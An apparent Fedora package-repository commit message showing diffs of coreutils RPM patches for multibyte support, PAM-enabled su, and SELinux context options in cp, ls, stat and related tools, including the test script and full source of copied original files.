-@@ -854,15 +1207,34 @@
-     }
- 
-   if (!delim_specified)
--    delim = '\t';
-+    {
-+      delim = '\t';
-+#ifdef HAVE_MBRTOWC
-+      wcdelim = L'\t';
-+      mbdelim[0] = '\t';
-+      mbdelim[1] = '\0';
-+      delimlen = 1;
-+#endif
-+    }
- 
-   if (output_delimiter_string == NULL)
-     {
--      static char dummy[2];
--      dummy[0] = delim;
--      dummy[1] = '\0';
--      output_delimiter_string = dummy;
--      output_delimiter_length = 1;
-+#ifdef HAVE_MBRTOWC
-+      if (MB_CUR_MAX > 1 && !force_singlebyte_mode)
-+        {
-+          output_delimiter_string = xstrdup(mbdelim);
-+          output_delimiter_length = delimlen;
-+        }
++$xx -t ? -k4 -n misc/mb2.I > misc/mb2.O
++code=$?
++if test $code != 0; then
++  $echo "Test mb2 failed: $xx return code $code differs from expected value 0" 1>&2
++  errors=`expr $errors + 1`
++else
++  cmp misc/mb2.O $srcdir/misc/mb2.X > /dev/null 2>&1
++  case $? in
++    0) if test "$VERBOSE"; then $echo "passed mb2"; fi;;
++    1) $echo "Test mb2 failed: files misc/mb2.O and $srcdir/misc/mb2.X differ" 1>&2
++       (diff -c misc/mb2.O $srcdir/misc/mb2.X) 2> /dev/null
++       errors=`expr $errors + 1`;;
++    2) $echo "Test mb2 may have failed." 1>&2
++       $echo The command "cmp misc/mb2.O $srcdir/misc/mb2.X" failed. 1>&2
++       errors=`expr $errors + 1`;;
++  esac
++fi
 +
-+      if (MB_CUR_MAX <= 1 || force_singlebyte_mode)
-+#endif
-+        {
-+          static char dummy[2]; 
-+          dummy[0] = delim;
-+          dummy[1] = '\0';
-+          output_delimiter_string = dummy;
-+          output_delimiter_length = 1;
-+        }
-     }
- 
-   if (optind == argc)
-diff -urNp coreutils-6.12/src/join.c coreutils-6.12-orig/src/join.c
---- coreutils-6.12/src/join.c	2008-07-16 14:08:01.000000000 +0200
-+++ coreutils-6.12-orig/src/join.c	2008-07-16 14:07:02.000000000 +0200
-@@ -634,6 +634,11 @@ get_line (FILE *fp, struct line *line, i
-       return false;
-     }
- 
-+#if HAVE_MBRTOWC
-+  if (MB_CUR_MAX > 1)
-+    xfields_multibyte (line);
-+  else
-+#endif
-   xfields (line);
- 
-   if (prevline[which - 1])
++if test $errors = 0; then
++  $echo Passed all 113 tests. 1>&2
++else
++  $echo Failed $errors tests. 1>&2
++fi
++test $errors = 0 || errors=1
++exit $errors

coreutils-pam.patch:
 configure.ac            |    7 
 configure.ac.orig       |  439 +
 doc/coreutils.texi      |   36 
 doc/coreutils.texi.orig |15835 ++++++++++++++++++++++++++++++++++++++++++++++++
 src/Makefile.am         |    2 
 src/Makefile.am.orig    |  480 +
 src/su.c                |  224 
 src/su.c.orig           |  521 +
 8 files changed, 17508 insertions(+), 36 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.18 -r 1.19 coreutils-pam.patchIndex: coreutils-pam.patch
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-pam.patch,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- coreutils-pam.patch	6 Oct 2009 13:43:24 -0000	1.18
+++ coreutils-pam.patch	7 Oct 2009 08:11:44 -0000	1.19
@@ -1,6 +1,16366 @@
---- coreutils-6.7/src/Makefile.am.pam	2006-11-24 21:28:10.000000000 +0000
-+++ coreutils-6.7/src/Makefile.am	2007-01-09 17:00:01.000000000 +0000
-@@ -103,7 +103,7 @@
+diff -urNp coreutils-8.0-orig/configure.ac coreutils-8.0/configure.ac
+--- coreutils-8.0-orig/configure.ac	2009-09-29 15:27:11.000000000 +0200
++++ coreutils-8.0/configure.ac	2009-10-07 10:04:27.000000000 +0200
+@@ -115,6 +115,13 @@ if test "$gl_gcc_warnings" = yes; then
+   AC_DEFINE([GNULIB_PORTCHECK], [1], [enable some gnulib portability checks])
+ fi
+ 
++dnl Give the chance to enable PAM
++AC_ARG_ENABLE(pam, dnl
++[  --enable-pam              Enable use of the PAM libraries],
++[AC_DEFINE(USE_PAM, 1, [Define if you want to use PAM])
++LIB_PAM="-ldl -lpam -lpam_misc"
++AC_SUBST(LIB_PAM)])
++
+ AC_FUNC_FORK
+ 
+ optional_bin_progs=
+diff -urNp coreutils-8.0-orig/configure.ac.orig coreutils-8.0/configure.ac.orig
+--- coreutils-8.0-orig/configure.ac.orig	1970-01-01 01:00:00.000000000 +0100
++++ coreutils-8.0/configure.ac.orig	2009-09-29 15:27:11.000000000 +0200
+@@ -0,0 +1,439 @@
++# -*- autoconf -*-
++# Process this file with autoconf to produce a configure script.
++
++# Copyright (C) 1991, 1993-2009 Free Software Foundation, Inc.
++
++# This program is free software: you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation, either version 3 of the License, or
++# (at your option) any later version.
++
++# This program is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program.  If not, see <http://www.gnu.org/licenses/>.
++
++dnl Written by Jim Meyering.
++
++AC_PREREQ([2.61])
++
++# Make inter-release version strings look like, e.g., v6.9-219-g58ddd, which
++# indicates that it is built from the 219th delta (in _some_ repository)
++# following the v6.9 tag, and that 58ddd is a prefix of the commit SHA1.
++AC_INIT([GNU coreutils],
++        m4_esyscmd([build-aux/git-version-gen .tarball-version]),
++        [bug-coreutils at gnu.org])
++
++AC_CONFIG_SRCDIR([src/ls.c])
++
++AC_CONFIG_AUX_DIR([build-aux])
++AC_CONFIG_HEADERS([lib/config.h:lib/config.hin])
++
++AM_INIT_AUTOMAKE([1.11 dist-xz color-tests parallel-tests])
++AM_SILENT_RULES([yes]) # make --enable-silent-rules the default.
++
++AC_PROG_CC_STDC
++AM_PROG_CC_C_O
++AC_PROG_CPP
++AC_PROG_GCC_TRADITIONAL
++AC_PROG_RANLIB
++AC_PROG_LN_S
++gl_EARLY
++gl_INIT
++coreutils_MACROS
++
++AC_ARG_ENABLE([gcc-warnings],
++  [AS_HELP_STRING([--enable-gcc-warnings],
++                  [turn on lots of GCC warnings (for developers)])],
++  [case $enableval in
++     yes|no) ;;
++     *)      AC_MSG_ERROR([bad value $enableval for gcc-warnings option]) ;;
++   esac
++   gl_gcc_warnings=$enableval],
++  [gl_gcc_warnings=no]
++)
++
++if test "$gl_gcc_warnings" = yes; then
++  gl_WARN_ADD([-Werror], [WERROR_CFLAGS])
++  AC_SUBST([WERROR_CFLAGS])
++
++  nw=
++  # This, $nw, is the list of warnings we disable.
++  nw="$nw -Wdeclaration-after-statement" # too useful to forbid
++  nw="$nw -Waggregate-return"       # anachronistic
++  nw="$nw -Wlong-long"              # C90 is anachronistic (lib/gethrxtime.h)
++  nw="$nw -Wc++-compat"             # We don't care about C++ compilers
++  nw="$nw -Wundef"                  # Warns on '#if GNULIB_FOO' etc in gnulib
++  nw="$nw -Wtraditional"            # Warns on #elif which we use often
++  nw="$nw -Wcast-qual"              # Too many warnings for now
++  nw="$nw -Wconversion"             # Too many warnings for now
++  nw="$nw -Wsystem-headers"         # Don't let system headers trigger warnings
++  nw="$nw -Wsign-conversion"        # Too many warnings for now
++  nw="$nw -Wtraditional-conversion" # Too many warnings for now
++  nw="$nw -Wunreachable-code"       # Too many warnings for now
++  nw="$nw -Wpadded"                 # Our structs are not padded
++  nw="$nw -Wredundant-decls"        # openat.h declares e.g., mkdirat
++  nw="$nw -Wlogical-op"             # any use of fwrite provokes this
++  nw="$nw -Wformat-nonliteral"      # who.c and pinky.c strftime uses
++  nw="$nw -Wvla"                    # warnings in gettext.h
++  nw="$nw -Wnested-externs"         # use of XARGMATCH/verify_function__
++  nw="$nw -Wswitch-enum"            # Too many warnings for now
++  nw="$nw -Wswitch-default"         # Too many warnings for now
++  nw="$nw -Wstack-protector"        # not worth working around
++  # things I might fix soon:
++  nw="$nw -Wfloat-equal"            # sort.c, seq.c
++  nw="$nw -Wmissing-format-attribute" # copy.c
++  nw="$nw -Wunsafe-loop-optimizations" # a few src/*.c
++  nw="$nw -Winline"                 # system.h's readdir_ignoring_dot_and_dotdot
++  nw="$nw -Wstrict-overflow"        # expr.c, pr.c, tr.c, factor.c
++  # ?? -Wstrict-overflow
++
++  gl_MANYWARN_ALL_GCC([ws])
++  gl_MANYWARN_COMPLEMENT([ws], [$ws], [$nw])
++  for w in $ws; do
++    gl_WARN_ADD([$w])
++  done
++  gl_WARN_ADD([-Wno-missing-field-initializers]) # We need this one
++  gl_WARN_ADD([-Wno-sign-compare])     # Too many warnings for now
++  gl_WARN_ADD([-Wno-pointer-sign])     # Too many warnings for now
++  gl_WARN_ADD([-Wno-unused-parameter]) # Too many warnings for now
++
++  # In spite of excluding -Wlogical-op above, it is enabled, as of
++  # gcc 4.5.0 20090517, and it provokes warnings in cat.c, dd.c, truncate.c
++  gl_WARN_ADD([-Wno-logical-op])
++
++  gl_WARN_ADD([-fdiagnostics-show-option])
++
++  AC_SUBST([WARN_CFLAGS])
++
++  AC_DEFINE([lint], [1], [Define to 1 if the compiler is checking for lint.])
++  AC_DEFINE([_FORTIFY_SOURCE], [2],
++    [enable compile-time and run-time bounds-checking, and some warnings])
++  AC_DEFINE([GNULIB_PORTCHECK], [1], [enable some gnulib portability checks])
++fi
++
++AC_FUNC_FORK
++
++optional_bin_progs=
++AC_CHECK_FUNCS([uname],
++        gl_ADD_PROG([optional_bin_progs], [uname]))
++AC_CHECK_FUNCS([chroot],
++        gl_ADD_PROG([optional_bin_progs], [chroot]))
++AC_CHECK_FUNCS([gethostid],
++        gl_ADD_PROG([optional_bin_progs], [hostid]))
++
++gl_WINSIZE_IN_PTEM
++
++AC_MSG_CHECKING([whether localtime caches TZ])
++AC_CACHE_VAL([utils_cv_localtime_cache],
++[if test x$ac_cv_func_tzset = xyes; then
++AC_RUN_IFELSE([AC_LANG_SOURCE([[#include <time.h>
++#if STDC_HEADERS
++# include <stdlib.h>
++#endif
++extern char **environ;
++void unset_TZ (void)
++{
++  char **from, **to;
++  for (to = from = environ; (*to = *from); from++)
++    if (! (to[0][0] == 'T' && to[0][1] == 'Z' && to[0][2] == '='))
++      to++;
++}
++int main()
++{
++  time_t now = time ((time_t *) 0);
++  int hour_GMT0, hour_unset;
++  if (putenv ("TZ=GMT0") != 0)
++    exit (1);
++  hour_GMT0 = localtime (&now)->tm_hour;
++  unset_TZ ();
++  hour_unset = localtime (&now)->tm_hour;
++  if (putenv ("TZ=PST8") != 0)
++    exit (1);
++  if (localtime (&now)->tm_hour == hour_GMT0)
++    exit (1);
++  unset_TZ ();
++  if (localtime (&now)->tm_hour != hour_unset)
++    exit (1);
++  exit (0);
++}]])],
++[utils_cv_localtime_cache=no],
++[utils_cv_localtime_cache=yes],
++[# If we have tzset, assume the worst when cross-compiling.
++utils_cv_localtime_cache=yes])
++else
[...17181 lines suppressed...]
++      char *arg0;
++      char *shell_basename;
++
++      shell_basename = last_component (shell);
++      arg0 = xmalloc (strlen (shell_basename) + 2);
++      arg0[0] = '-';
++      strcpy (arg0 + 1, shell_basename);
++      args[0] = arg0;
++    }
++  else
++    args[0] = last_component (shell);
++  if (fast_startup)
++    args[argno++] = "-f";
++  if (command)
++    {
++      args[argno++] = "-c";
++      args[argno++] = command;
++    }
++  memcpy (args + argno, additional_args, n_additional_args * sizeof *args);
++  args[argno + n_additional_args] = NULL;
++  execv (shell, (char **) args);
++
++  {
++    int exit_status = (errno == ENOENT ? EXIT_ENOENT : EXIT_CANNOT_INVOKE);
++    error (0, errno, "%s", shell);
++    exit (exit_status);
++  }
++}
++
++/* Return true if SHELL is a restricted shell (one not returned by
++   getusershell), else false, meaning it is a standard shell.  */
++
++static bool
++restricted_shell (const char *shell)
++{
++  char *line;
++
++  setusershell ();
++  while ((line = getusershell ()) != NULL)
++    {
++      if (*line != '#' && STREQ (line, shell))
++        {
++          endusershell ();
++          return false;
++        }
++    }
++  endusershell ();
++  return true;
++}
++
++void
++usage (int status)
++{
++  if (status != EXIT_SUCCESS)
++    fprintf (stderr, _("Try `%s --help' for more information.\n"),
++             program_name);
++  else
++    {
++      printf (_("Usage: %s [OPTION]... [-] [USER [ARG]...]\n"), program_name);
++      fputs (_("\
++Change the effective user id and group id to that of USER.\n\
++\n\
++  -, -l, --login               make the shell a login shell\n\
++  -c, --command=COMMAND        pass a single COMMAND to the shell with -c\n\
++  -f, --fast                   pass -f to the shell (for csh or tcsh)\n\
++  -m, --preserve-environment   do not reset environment variables\n\
++  -p                           same as -m\n\
++  -s, --shell=SHELL            run SHELL if /etc/shells allows it\n\
++"), stdout);
++      fputs (HELP_OPTION_DESCRIPTION, stdout);
++      fputs (VERSION_OPTION_DESCRIPTION, stdout);
++      fputs (_("\
++\n\
++A mere - implies -l.   If USER not given, assume root.\n\
++"), stdout);
++      emit_ancillary_info ();
++    }
++  exit (status);
++}
++
++int
++main (int argc, char **argv)
++{
++  int optc;
++  const char *new_user = DEFAULT_USER;
++  char *command = NULL;
++  char *shell = NULL;
++  struct passwd *pw;
++  struct passwd pw_copy;
++
++  initialize_main (&argc, &argv);
++  set_program_name (argv[0]);
++  setlocale (LC_ALL, "");
++  bindtextdomain (PACKAGE, LOCALEDIR);
++  textdomain (PACKAGE);
++
++  initialize_exit_failure (EXIT_FAILURE);
++  atexit (close_stdout);
++
++  fast_startup = false;
++  simulate_login = false;
++  change_environment = true;
++
++  while ((optc = getopt_long (argc, argv, "c:flmps:", longopts, NULL)) != -1)
++    {
++      switch (optc)
++        {
++        case 'c':
++          command = optarg;
++          break;
++
++        case 'f':
++          fast_startup = true;
++          break;
++
++        case 'l':
++          simulate_login = true;
++          break;
++
++        case 'm':
++        case 'p':
++          change_environment = false;
++          break;
++
++        case 's':
++          shell = optarg;
++          break;
++
++        case_GETOPT_HELP_CHAR;
++
++        case_GETOPT_VERSION_CHAR (PROGRAM_NAME, AUTHORS);
++
++        default:
++          usage (EXIT_FAILURE);
++        }
++    }
++
++  if (optind < argc && STREQ (argv[optind], "-"))
++    {
++      simulate_login = true;
++      ++optind;
++    }
++  if (optind < argc)
++    new_user = argv[optind++];
++
++  pw = getpwnam (new_user);
++  if (! (pw && pw->pw_name && pw->pw_name[0] && pw->pw_dir && pw->pw_dir[0]
++         && pw->pw_passwd))
++    error (EXIT_FAILURE, 0, _("user %s does not exist"), new_user);
++
++  /* Make a copy of the password information and point pw at the local
++     copy instead.  Otherwise, some systems (e.g. GNU/Linux) would clobber
++     the static data through the getlogin call from log_su.
++     Also, make sure pw->pw_shell is a nonempty string.
++     It may be NULL when NEW_USER is a username that is retrieved via NIS (YP),
++     but that doesn't have a default shell listed.  */
++  pw_copy = *pw;
++  pw = &pw_copy;
++  pw->pw_name = xstrdup (pw->pw_name);
++  pw->pw_passwd = xstrdup (pw->pw_passwd);
++  pw->pw_dir = xstrdup (pw->pw_dir);
++  pw->pw_shell = xstrdup (pw->pw_shell && pw->pw_shell[0]
++                          ? pw->pw_shell
++                          : DEFAULT_SHELL);
++  endpwent ();
++
++  if (!correct_password (pw))
++    {
++#ifdef SYSLOG_FAILURE
++      log_su (pw, false);
++#endif
++      error (EXIT_FAILURE, 0, _("incorrect password"));
++    }
++#ifdef SYSLOG_SUCCESS
++  else
++    {
++      log_su (pw, true);
++    }
++#endif
++
++  if (!shell && !change_environment)
++    shell = getenv ("SHELL");
++  if (shell && getuid () != 0 && restricted_shell (pw->pw_shell))
++    {
++      /* The user being su'd to has a nonstandard shell, and so is
++         probably a uucp account or has restricted access.  Don't
++         compromise the account by allowing access with a standard
++         shell.  */
++      error (0, 0, _("using restricted shell %s"), pw->pw_shell);
++      shell = NULL;
++    }
++  shell = xstrdup (shell ? shell : pw->pw_shell);
++  modify_environment (pw, shell);
++
++  change_identity (pw);
++  if (simulate_login && chdir (pw->pw_dir) != 0)
++    error (0, errno, _("warning: cannot change directory to %s"), pw->pw_dir);
++
++  run_shell (shell, command, argv + optind, MAX (0, argc - optind));
++}

coreutils-selinux.patch:
 configure.ac       |    7 
 configure.ac.orig  |    7 
 man/chcon.x        |    2 
 man/runcon.x       |    2 
 src/chcon.c        |    6 
 src/chcon.c.orig   |  572 ++++++
 src/copy.c         |    2 
 src/copy.c.orig    | 2369 ++++++++++++++++++++++++++
 src/copy.h         |    3 
 src/copy.h.orig    |  283 +++
 src/cp.c           |   39 
 src/cp.c.orig      | 1160 +++++++++++++
 src/id.c           |    2 
 src/install.c      |   13 
 src/install.c.orig | 1011 +++++++++++
 src/ls.c           |  161 +
 src/ls.c.orig      | 4700 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 src/mkdir.c        |    1 
 src/mknod.c        |    2 
 src/mv.c           |    1 
 src/mv.c.orig      |  495 +++++
 src/runcon.c       |    2 
 src/stat.c         |   81 
 src/stat.c.orig    | 1082 ++++++++++++
 tests/misc/selinux |    2 
 25 files changed, 11940 insertions(+), 65 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.61 -r 1.62 coreutils-selinux.patchIndex: coreutils-selinux.patch
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-selinux.patch,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- coreutils-selinux.patch	6 Oct 2009 13:43:24 -0000	1.61
+++ coreutils-selinux.patch	7 Oct 2009 08:11:44 -0000	1.62
@@ -1,7 +1,7 @@
-diff -urNp coreutils-7.1-orig/configure.ac coreutils-7.1/configure.ac
---- coreutils-7.1-orig/configure.ac	2009-02-24 13:47:15.000000000 +0100
-+++ coreutils-7.1/configure.ac	2009-02-24 13:47:15.000000000 +0100
-@@ -84,6 +84,13 @@ AC_ARG_ENABLE(pam, dnl
+diff -urNp coreutils-8.0-orig/configure.ac coreutils-8.0/configure.ac
+--- coreutils-8.0-orig/configure.ac	2009-10-07 10:09:43.000000000 +0200
++++ coreutils-8.0/configure.ac	2009-10-07 10:10:11.000000000 +0200
+@@ -122,6 +122,13 @@ AC_ARG_ENABLE(pam, dnl
  LIB_PAM="-ldl -lpam -lpam_misc"
  AC_SUBST(LIB_PAM)])
  
@@ -15,18 +15,35 @@ diff -urNp coreutils-7.1-orig/configure.
  AC_FUNC_FORK
  
  optional_bin_progs=
-diff -urNp coreutils-7.1-orig/man/chcon.x coreutils-7.1/man/chcon.x
---- coreutils-7.1-orig/man/chcon.x	2008-09-18 09:06:57.000000000 +0200
-+++ coreutils-7.1/man/chcon.x	2009-02-24 13:47:15.000000000 +0100
+diff -urNp coreutils-8.0-orig/configure.ac.orig coreutils-8.0/configure.ac.orig
+--- coreutils-8.0-orig/configure.ac.orig	2009-10-07 10:09:43.000000000 +0200
++++ coreutils-8.0/configure.ac.orig	2009-10-07 10:09:43.000000000 +0200
+@@ -115,6 +115,13 @@ if test "$gl_gcc_warnings" = yes; then
+   AC_DEFINE([GNULIB_PORTCHECK], [1], [enable some gnulib portability checks])
+ fi
+ 
++dnl Give the chance to enable PAM
++AC_ARG_ENABLE(pam, dnl
++[  --enable-pam              Enable use of the PAM libraries],
++[AC_DEFINE(USE_PAM, 1, [Define if you want to use PAM])
++LIB_PAM="-ldl -lpam -lpam_misc"
++AC_SUBST(LIB_PAM)])
++
+ AC_FUNC_FORK
+ 
+ optional_bin_progs=
+diff -urNp coreutils-8.0-orig/man/chcon.x coreutils-8.0/man/chcon.x
+--- coreutils-8.0-orig/man/chcon.x	2009-09-01 13:01:16.000000000 +0200
++++ coreutils-8.0/man/chcon.x	2009-10-07 10:10:11.000000000 +0200
 @@ -1,4 +1,4 @@
  [NAME]
 -chcon \- change file security context
 +chcon \- change file SELinux security context
  [DESCRIPTION]
  .\" Add any additional description here
-diff -urNp coreutils-7.1-orig/man/runcon.x coreutils-7.1/man/runcon.x
---- coreutils-7.1-orig/man/runcon.x	2008-09-18 09:06:57.000000000 +0200
-+++ coreutils-7.1/man/runcon.x	2009-02-24 13:47:15.000000000 +0100
+diff -urNp coreutils-8.0-orig/man/runcon.x coreutils-8.0/man/runcon.x
+--- coreutils-8.0-orig/man/runcon.x	2009-09-01 13:01:16.000000000 +0200
++++ coreutils-8.0/man/runcon.x	2009-10-07 10:10:11.000000000 +0200
 @@ -1,5 +1,5 @@
  [NAME]
 -runcon \- run command with specified security context
@@ -34,10 +51,10 @@ diff -urNp coreutils-7.1-orig/man/runcon
  [DESCRIPTION]
  Run COMMAND with completely-specified CONTEXT, or with current or
  transitioned security context modified by one or more of LEVEL,
-diff -urNp coreutils-7.1-orig/src/copy.c coreutils-7.1/src/copy.c
---- coreutils-7.1-orig/src/copy.c	2009-02-18 15:32:52.000000000 +0100
-+++ coreutils-7.1/src/copy.c	2009-02-24 13:47:15.000000000 +0100
-@@ -1830,6 +1830,8 @@ copy_internal (char const *src_name, cha
+diff -urNp coreutils-8.0-orig/src/copy.c coreutils-8.0/src/copy.c
+--- coreutils-8.0-orig/src/copy.c	2009-09-29 15:27:54.000000000 +0200
++++ coreutils-8.0/src/copy.c	2009-10-07 10:10:11.000000000 +0200
+@@ -1943,6 +1943,8 @@ copy_internal (char const *src_name, cha
          {
            /* Here, we are crossing a file system boundary and cp's -x option
               is in effect: so don't copy the contents of this directory. */
@@ -46,309 +63,5724 @@ diff -urNp coreutils-7.1-orig/src/copy.c
          }
        else
          {
-diff -urNp coreutils-7.1-orig/src/copy.h coreutils-7.1/src/copy.h
---- coreutils-7.1-orig/src/copy.h	2009-02-18 15:32:52.000000000 +0100
-+++ coreutils-7.1/src/copy.h	2009-02-24 13:47:15.000000000 +0100
-@@ -140,6 +140,9 @@ struct cp_options
-   bool preserve_mode;
-   bool preserve_timestamps;
- 
-+  /* If true, attempt to set specified security context */
-+  bool set_security_context;
+diff -urNp coreutils-8.0-orig/src/copy.c.orig coreutils-8.0/src/copy.c.orig
+--- coreutils-8.0-orig/src/copy.c.orig	1970-01-01 01:00:00.000000000 +0100
++++ coreutils-8.0/src/copy.c.orig	2009-09-29 15:27:54.000000000 +0200
+@@ -0,0 +1,2369 @@
++/* copy.c -- core functions for copying files and directories
++   Copyright (C) 89, 90, 91, 1995-2009 Free Software Foundation, Inc.
 +
-   /* Enabled for mv, and for cp by the --preserve=links option.
-      If true, attempt to preserve in the destination files any
-      logical hard links between the source files.  If used with cp's
-diff -urNp coreutils-7.1-orig/src/cp.c coreutils-7.1/src/cp.c
---- coreutils-7.1-orig/src/cp.c	2009-02-18 15:32:52.000000000 +0100
-+++ coreutils-7.1/src/cp.c	2009-02-24 13:47:15.000000000 +0100
-@@ -133,6 +133,7 @@ static struct option const long_opts[] =
-   {"target-directory", required_argument, NULL, 't'},
-   {"update", no_argument, NULL, 'u'},
-   {"verbose", no_argument, NULL, 'v'},
-+  {"context", required_argument, NULL, 'Z'},
-   {GETOPT_HELP_OPTION_DECL},
-   {GETOPT_VERSION_OPTION_DECL},
-   {NULL, 0, NULL, 0}
-@@ -191,6 +192,9 @@ Mandatory arguments to long options are 
-                                  all\n\
- "), stdout);
-       fputs (_("\
-+  -c                           same as --preserve=context\n\
-+"), stdout);
-+      fputs (_("\
-       --no-preserve=ATTR_LIST  don't preserve the specified attributes\n\
-       --parents                use full source file name under DIRECTORY\n\
- "), stdout);
-@@ -216,6 +220,7 @@ Mandatory arguments to long options are 
-                                  destination file is missing\n\
-   -v, --verbose                explain what is being done\n\
-   -x, --one-file-system        stay on this file system\n\
-+  -Z, --context=CONTEXT        set security context of copy to CONTEXT\n\
- "), stdout);
-       fputs (HELP_OPTION_DESCRIPTION, stdout);
-       fputs (VERSION_OPTION_DESCRIPTION, stdout);
-@@ -765,6 +770,7 @@ cp_option_init (struct cp_options *x)
-   x->preserve_timestamps = false;
-   x->preserve_security_context = false;
-   x->require_preserve_context = false;
-+  x->set_security_context = false;
-   x->preserve_xattr = false;
-   x->reduce_diagnostics = false;
-   x->require_preserve_xattr = false;
-@@ -911,7 +917,7 @@ main (int argc, char **argv)
-      we'll actually use backup_suffix_string.  */
-   backup_suffix_string = getenv ("SIMPLE_BACKUP_SUFFIX");
- 
--  while ((c = getopt_long (argc, argv, "abdfHilLnprst:uvxPRS:T",
-+  while ((c = getopt_long (argc, argv, "abcdfHilLnprst:uvxPRS:TZ:",
-                            long_opts, NULL))
-          != -1)
-     {
-@@ -945,6 +951,16 @@ main (int argc, char **argv)
-           copy_contents = true;
-           break;
- 
-+        case 'c':
-+          if ( x.set_security_context ) { 
-+              (void) fprintf(stderr, "%s: cannot force target context and preserve it\n", argv[0]);
-+             exit( 1 );
-+           }
-+           else if (selinux_enabled) {
-+              x.preserve_security_context = true;
-+              x.require_preserve_context = true;
-+           }
-+          break;
-         case 'd':
-           x.preserve_links = true;
-           x.dereference = DEREF_NEVER;
-@@ -1054,6 +1070,27 @@ main (int argc, char **argv)
-           x.one_file_system = true;
-           break;
- 
++   This program is free software: you can redistribute it and/or modify
++   it under the terms of the GNU General Public License as published by
++   the Free Software Foundation, either version 3 of the License, or
++   (at your option) any later version.
 +
-+        case 'Z':
-+          /* politely decline if we're not on a selinux-enabled kernel. */
-+          if( !selinux_enabled ) {
-+             fprintf( stderr, "Warning:  ignoring --context (-Z). "
-+                              "It requires a SELinux enabled kernel.\n" );
-+             break;
-+         }
-+         if ( x.preserve_security_context ) {
-+            (void) fprintf(stderr, "%s: cannot force target context to '%s' and preserve it\n", argv[0], optarg);
-+            exit( 1 );
-+         }
-+         x.set_security_context = true;
-+         /* if there's a security_context given set new path 
-+            components to that context, too */
-+         if ( setfscreatecon(optarg) < 0 ) {
-+            (void) fprintf(stderr, _("cannot set default security context %s\n"), optarg);
-+            exit( 1 );
-+         }
-+         break;
++   This program is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++   GNU General Public License for more details.
 +
-         case 'S':
-           make_backups = true;
-           backup_suffix_string = optarg;
-diff -urNp coreutils-7.1-orig/src/chcon.c coreutils-7.1/src/chcon.c
[...12648 lines suppressed...]
++          /* Temporary hack to match original output until conditional
++             implemented.  */
++          if (S_ISBLK (statbuf.st_mode) || S_ISCHR (statbuf.st_mode))
++            {
++              format =
++                "  File: %N\n"
++                "  Size: %-10s\tBlocks: %-10b IO Block: %-6o %F\n"
++                "Device: %Dh/%dd\tInode: %-10i  Links: %-5h"
++                " Device type: %t,%T\n"
++                "Access: (%04a/%10.10A)  Uid: (%5u/%8U)   Gid: (%5g/%8G)\n"
++                "Access: %x\n" "Modify: %y\n" "Change: %z\n";
++            }
++          else
++            {
++              format =
++                "  File: %N\n"
++                "  Size: %-10s\tBlocks: %-10b IO Block: %-6o %F\n"
++                "Device: %Dh/%dd\tInode: %-10i  Links: %h\n"
++                "Access: (%04a/%10.10A)  Uid: (%5u/%8U)   Gid: (%5g/%8G)\n"
++                "Access: %x\n" "Modify: %y\n" "Change: %z\n";
++            }
++        }
++    }
++  print_it (format, filename, print_stat, &statbuf);
++  return true;
++}
++
++void
++usage (int status)
++{
++  if (status != EXIT_SUCCESS)
++    fprintf (stderr, _("Try `%s --help' for more information.\n"),
++             program_name);
++  else
++    {
++      printf (_("Usage: %s [OPTION]... FILE...\n"), program_name);
++      fputs (_("\
++Display file or file system status.\n\
++\n\
++  -L, --dereference     follow links\n\
++  -f, --file-system     display file system status instead of file status\n\
++"), stdout);
++      fputs (_("\
++  -c  --format=FORMAT   use the specified FORMAT instead of the default;\n\
++                          output a newline after each use of FORMAT\n\
++      --printf=FORMAT   like --format, but interpret backslash escapes,\n\
++                          and do not output a mandatory trailing newline.\n\
++                          If you want a newline, include \\n in FORMAT.\n\
++  -t, --terse           print the information in terse form\n\
++"), stdout);
++      fputs (HELP_OPTION_DESCRIPTION, stdout);
++      fputs (VERSION_OPTION_DESCRIPTION, stdout);
++
++      fputs (_("\n\
++The valid format sequences for files (without --file-system):\n\
++\n\
++  %a   Access rights in octal\n\
++  %A   Access rights in human readable form\n\
++  %b   Number of blocks allocated (see %B)\n\
++  %B   The size in bytes of each block reported by %b\n\
++  %C   SELinux security context string\n\
++"), stdout);
++      fputs (_("\
++  %d   Device number in decimal\n\
++  %D   Device number in hex\n\
++  %f   Raw mode in hex\n\
++  %F   File type\n\
++  %g   Group ID of owner\n\
++  %G   Group name of owner\n\
++"), stdout);
++      fputs (_("\
++  %h   Number of hard links\n\
++  %i   Inode number\n\
++  %n   File name\n\
++  %N   Quoted file name with dereference if symbolic link\n\
++  %o   I/O block size\n\
++  %s   Total size, in bytes\n\
++  %t   Major device type in hex\n\
++  %T   Minor device type in hex\n\
++"), stdout);
++      fputs (_("\
++  %u   User ID of owner\n\
++  %U   User name of owner\n\
++  %x   Time of last access\n\
++  %X   Time of last access as seconds since Epoch\n\
++  %y   Time of last modification\n\
++  %Y   Time of last modification as seconds since Epoch\n\
++  %z   Time of last change\n\
++  %Z   Time of last change as seconds since Epoch\n\
++\n\
++"), stdout);
++
++      fputs (_("\
++Valid format sequences for file systems:\n\
++\n\
++  %a   Free blocks available to non-superuser\n\
++  %b   Total data blocks in file system\n\
++  %c   Total file nodes in file system\n\
++  %d   Free file nodes in file system\n\
++  %f   Free blocks in file system\n\
++  %C   SELinux security context string\n\
++"), stdout);
++      fputs (_("\
++  %i   File System ID in hex\n\
++  %l   Maximum length of filenames\n\
++  %n   File name\n\
++  %s   Block size (for faster transfers)\n\
++  %S   Fundamental block size (for block counts)\n\
++  %t   Type in hex\n\
++  %T   Type in human readable form\n\
++"), stdout);
++      printf (USAGE_BUILTIN_WARNING, PROGRAM_NAME);
++      emit_ancillary_info ();
++    }
++  exit (status);
++}
++
++int
++main (int argc, char *argv[])
++{
